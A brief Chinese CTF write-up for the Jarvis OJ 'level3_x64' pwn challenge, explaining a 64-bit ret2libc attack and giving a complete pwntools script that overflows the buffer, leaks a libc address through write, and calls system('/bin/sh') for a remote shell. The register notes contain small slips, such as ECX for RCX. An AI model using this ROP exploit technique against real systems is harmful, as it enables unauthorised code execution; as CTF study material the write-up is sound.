题目地址
跟level3差不多,就是变成64位,思路一样利用write泄露函数的内存地址,通过泄露地址推出libc的偏移用来计算system和/bin/sh的真实地址,然后再通过传参的方式来构造system(/bin/sh)来get shell
64位传参:参数从左到右放入寄存器:RDI, RSI, RDX, ECX, R8, R9,之后跟32位一样,就是说我们需要构造一个write(1,write_got,0x08),传参的寄存器分别是rdi、rsi、rdx
获取rdi和rsi,但是rdx还没受到控制,如果rdx寄存器原来的值大于等于8个字节,那么就不需要设置read第三个参数了
脚本如下
from pwn import * r=remote('pwn2.jarvisoj.com',9883) e=ELF('./level3_x64') libc=ELF('./libc-2.19.so') rdi_ret =0x4006b3 rsi_ret =0x4006b1 read_got=e.got['read'] write_plt=e.plt['write'] func=e.symbols['vulnerable_function'] payload1='a'*(0x80+0x8)+p64(rdi_ret)+p64(1)+p64(rsi_ret)+p64(read_got)+p64(0)+p64(write_plt)+p64(func) r.recvuntil('Input: ') r.sendline(payload1) read_addr=u64(r.recv(8)) read_libc=libc.symbols['read'] sys_libc=libc.symbols['system'] bin_libc=libc.search('/bin/sh').next() offset=read_addr-read_libc sys_addr=offset+sys_libc bin_addr=offset+bin_libc payload2='a'*0x88+p64(rdi_ret)+p64(bin_addr)+p64(sys_addr)+'a'*0x8 r.recvuntil('Input: ') r.sendline(payload2) r.interactive()